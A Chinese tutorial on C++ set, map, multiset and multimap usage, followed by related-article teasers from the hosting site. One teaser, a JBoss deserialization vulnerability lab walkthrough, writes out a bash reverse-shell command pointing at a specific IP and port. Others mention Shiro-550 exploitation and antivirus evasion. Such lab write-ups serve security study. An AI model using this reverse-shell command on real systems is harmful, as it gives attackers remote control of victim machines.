C++中set和map的使用

1.关联式容器

序列式容器里存储的是元素本身,如vector、list、deque

关联式容器即,容器中存储<key,value>的键值对,树型结 构的关联式容器主要有四种:map、set、multimap、multiset。他们都使用平衡搜索树(即红黑树)作为其底层结果,容器中的元素是一个有序的序列。

2.键值对

键值对即用来表示具有一一对应关系的一种结构,该结构中一般只包含两个成员变量key和value,key代表键值,value表示与key对应的信息。类似如下结构

template<class T1,class T2>
class pair{
public:T1 first;T2 second;pair(): first(T1()), second(T2())
{}pair(const T1& a, const T2& b): first(a), second(b)
{}
};

 3.set的使用

在set中,元素的value也标识它(value就是key,类型为T),并且每个value必须是唯一的。 set中的元素不能在容器中修改(元素总是const),但是可以从容器中插入或删除它们。

set包含于<set>中

3.1set的定义

set<int> s_int;

3.2set的主要操作

set不允许相同值插入若插入成功会返回pair<指向其的迭代器,成功>,插入失败会返回pair<指向原有值的迭代器,失败>

erase常用(2)直接删除指定值 

find可以寻找值,返回其迭代器

 

4.map的使用 

在map中,键值key通常用于排序和惟一地标识元素,而值value中存储与此键值key关联的内容。键值key和值value的类型可能不同,并且在map的内部,key与value绑定在一起,为其取别名称为pair

map包含于<map>

4.1map的定义

4.2map的主要操作

 map的主要操作与set类似,insert不允许相同值插入

4.3map的operator[]

operator[]能够访问包含对应key的pair的value

此操作也可解释为如下,即插入pair<key,value>取其返回的迭代器解引用的second,即返回对应key的value

使用实例如下 

map<string,string> m;m["left"] = "左";//map中不存在此key,表示插入+修改
m["left"] = "左、剩余";//map中已存在此key,表示修改
m["insert"];//表示修改
cout << m["insert"];//表示查找

 5.multimap、multiset

 multimap、multiset即允许多个相同key存在的map和set。

set与multiset操作区别有:

1.find查找时,多个x在树中返回第一个x(中序的第一个)

2.插入时,允许相同值插入

3.erase会删除所有x

map与multimap操作区别有:

1.find查找时,多个x在树中返回第一个x(中序的第一个)

2.插入时,允许相同值插入

3.erase会删除所有x

4.无operator[]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1543491.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

医学数据分析实训 项目四 回归分析--预测帕金森病病情的严重程度

文章目录 项目四&#xff1a;回归分析实践目的实践平台实践内容 预测帕金森病病情的严重程度作业&#xff08;一&#xff09;数据读入及理解&#xff08;二&#xff09;数据准备&#xff08;三&#xff09;模型建立&#xff08;四&#xff09;模型预测&#xff08;五&#xff0…

Web端云剪辑解决方案,可实现移动端、PC、云平台无缝兼容

美摄科技作为业界领先的视频技术解决方案提供商&#xff0c;再次以科技创新为驱动&#xff0c;隆重推出其Web端云剪辑解决方案&#xff0c;彻底颠覆传统剪辑模式的界限&#xff0c;为视频创作者、影视制作人及广告从业者带来前所未有的高效与便捷。 【跨平台无缝协作&#xff…

消息队列:如何确保消息不会丢失?

引言 对业务系统来说&#xff0c;丢消息意味着数据丢失&#xff0c;这是无法接受的。 主流的消息队列产品都提供了非常完善的消息可靠性保证机制&#xff0c;完全可以做到在消息传递过程中&#xff0c;即使发生网络中断或者硬件故障&#xff0c;也能确保消息的可靠传递&#…

智能优化算法-多目标灰狼优化算法(MOGWO)(附源码)

目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1.内容介绍 多目标灰狼优化算法 (Multi-Objective Grey Wolf Optimizer, MOGWO) 是一种基于群体智能的元启发式优化算法&#xff0c;它扩展了经典的灰狼优化算法 (GWO)&#xff0c;专门用于解决多目标优化问题。MOGWO通过模…

IT监控管理工具 WGCLOUD - 使用公共告警消息推送接口

WGCLOUD的公共告警接口 用于外部业务系统调用的告警接口&#xff0c;需要升级到v3.4.5或以上版本 只要调用这个接口&#xff0c;就可以将消息同步推送到我们的告警平台&#xff0c;比如邮件&#xff0c;钉钉&#xff0c;企业微信等 此接口主要给有告警需求的第三方系统使用&…

软件功能测试需进行哪些测试?第三方软件测评机构有哪些测试方法?

在信息化社会迅速发展的今天&#xff0c;软件功能测试在软件开发生命周期中占据着不可或缺的地位。软件功能测试是评估软件系统是否符合预期功能和用户需求的过程。其重要性体现在提升软件质量、确保用户满意度以及降低维护成本等方面。 软件功能测试是对软件应用程序进行的一…

软件测试实验室如何利用GB/T25000标准建立测试技术体系

《系统与软件工程 系统与软件质量要求和评价&#xff08;SQuaRE&#xff09;》是国际标准化组织ISO/IEC为统一软件质量评判标准而指定的软件质量度量和评价的标准。该标准是开展中国合格评定国家认可委员会&#xff08;CNAS&#xff09;实验室认可软件测评实验室过程中需要参照…

开源模型应用落地-Qwen2.5-Coder模型小试-码无止境(一)

一、前言 代码专家模型是一种基于人工智能的先进技术&#xff0c;旨在自动分析和理解大量代码库&#xff0c;并从中学习常见的编码模式和最佳实践。这种模型通过深度学习和自然语言处理&#xff0c;能够提供准确而高效的代码建议&#xff0c;帮助开发人员在编写代码时有效地避免…

[ComfyUI]Flux:太美啦!绮梦流光-水湄凝香,写实与虚拟混合,极致细节和质感

大家好我是安琪&#xff01;&#xff01;&#xff01; 在数字艺术和创意领域&#xff0c;[ComfyUI]Flux已经成为艺术家和设计师们手中的利器。今天&#xff0c;我们激动地宣布&#xff0c;[ComfyUI]Flux带来了一款令人瞩目的创新作品——绮梦流光-水湄凝香。这款作品将写实与虚…

怎么把kgm转换成mp3?5个kgm转mp3的方法,亲测管用!

很多小伙伴不难发现kgm格式只能在固定的平台或设备上播放&#xff0c;如果想要打破这一限制&#xff0c;我们可以将kgm格式转换为兼容性较强的mp3格式。 下面&#xff0c;就来给大家分享5个好用的kgm转mp3方法&#xff0c;操作简单&#xff0c;小白也能分分钟学会哦~ kgm转mp3…

全民皆信奥?编程教育不应成为‘金牌梦’的牺牲品

近年来&#xff0c;信息学奥赛&#xff08;信奥&#xff09;成为众多家长为孩子规划的学习目标之一&#xff0c;期望通过编程学习在未来脱颖而出&#xff0c;甚至进入清华、北大等顶尖高校。然而&#xff0c;是否每个孩子都适合走这条信息学奥赛的道路&#xff1f;全民皆信奥是…

多机器学习模型学习

特征处理 import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.model_selection import StratifiedShuffleSplit from sklearn.impute import SimpleImputer from sklearn.pipeline import FeatureUnion fr…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

MySQL之基本查询(二)(update || delete || 聚合函数 || group by)

目录 一、表的更新update 二、表的删除delete 三、聚合函数 四、group by 分组查询 一、表的更新update 语法&#xff1a; UPDATE table_name SET column expr [, column expr ...] [WHERE ...] [ORDER BY ...] [LIMIT ...] 使用实列&#xff1a; ~ 将孙悟空同学的数学…

Shiro rememberMe反序列化漏洞(Shiro-550) 靶场攻略

漏洞原理 Apache Shiro框架提供了记住密码的功能&#xff08;RememberMe&#xff09;&#xff0c;⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值&#xff0c;先base64解码然后AES解密再反 序列化&#xff0c;就导致了反序列化RCE漏洞。 那么&a…

杀软对抗 ---> Perfect Syscall??

好久没更了&#xff0c;今天想起来更新了&#x1f60b;&#x1f60b;&#x1f60b;&#x1f60b; 目录 1.AV && EDR 2.Perfect Syscall&#xff1f;&#xff1f; 3.Truly Perfect ??? 在开始之前先来展示一下这次的免杀效果 1.AV && EDR 360 天擎EDR …

Redis事务总结

1.事务介绍 Redis 事务是一个用于将多个命令打包在一起执行的功能&#xff0c;它可以确保这些命令按照顺序执行&#xff0c;并且具有原子性。这意味着事务中的命令要么全部执行&#xff0c;要么全部不执行&#xff0c;这有助于保持数据的一致性。 Redis 事务本质&#xff1a;…

教你轻松搞定西门子PLC与三菱PLC之间无线Modbus通讯

自第一台PLC在GM公司汽车生产线上首次应用成功以来&#xff0c;PLC凭借其方便性、可靠性以及低廉的价格得到了广泛的应用。在现代化工厂中&#xff0c;除厂级PLC系统外&#xff0c;还存在很多独立的子系统。比如&#xff0c;各个生产车间的PLC系统、或同一生产车间的不同生产流…

JavaSE高级(3)——lombok、juint单元测试、断言

一、lombok的使用 默认jvm不解析第三方注解&#xff0c;需要手动开启 链式调用 二、juint单元测试 下载juint包 public class TestDemo {// 在每一个单元测试方法执行之前执行Beforepublic void before() {// 例如可以在before部分创建IO流System.out.println("befor…

【大模型实战篇】大模型GPU推理测试(以Qwen2.5-7B为例)

1. 背景介绍 今天到了两块新的3090卡&#xff0c;用nvidia-smi看下部署情况。我们使用Qwen2.5-7B简单做了下推理测试。 3090卡的基本配置信息如下图所示&#xff0c;使用两块卡做成GPU集群&#xff0c;显存有48G&#xff0c;内存带宽936.2 GB/s&#xff0c; 基本上可以应对…